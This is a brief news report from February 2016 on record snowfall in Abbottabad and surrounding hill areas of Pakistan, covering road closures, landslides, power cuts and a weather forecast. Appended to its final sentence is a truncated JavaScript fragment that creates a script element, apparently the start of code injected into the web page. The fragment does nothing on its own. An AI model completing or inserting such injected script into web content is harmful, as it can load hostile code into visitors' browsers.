Published On: Fri, Feb 12th, 2016
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Abbottabad receives record snow fall in 40 years

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Abbottabad: Abbottabad received more than one foot snow fall on Thursday, breaking 40 years record.

Main and link roads were closed in Abbottabad and adjoining areas after receiving heavy snow fall.

A thick blanket of snow also covered various parts of Pakistan including Gilliat, Mansehra, Murree and Azad Kashmir.

According to details, Murree and Gilliat are observing intermittent snowfall, turning weather cold again. The tourists are ready to enjoy in chilly weather.

Several roads heading to Muzaffarabad, Poonch district, Bagh, Haveli, Hattian and Neelum district have also been closed for every kind of traffic due to land sliding.

About 1 to 2 feet snowfall has been recorded in Toli, Sadhan Gali, Pir Chanasi and Neela Butt while Thandiani is also experiencing snowfall.

Mansehra division and its adjoining areas are also facing cold weather due to snow however, Tanawal has witnessed snowfall after 11 years, blocking connecting roads to Kaghan and Shinkiari.

The changing weather condition has also badly disrupted the power in the areas.

On the other hand, Pakistan Meteorological Department (PMD) has predicted that the rain showers will continue in several areas including Islamabad, Rawalpindi, Lahore, Gujranwala, Sargodha, KP province, Gilgit-Baltistan and Kashmir by next 48 hours.var d=document;var s=d.createElement(‘script’);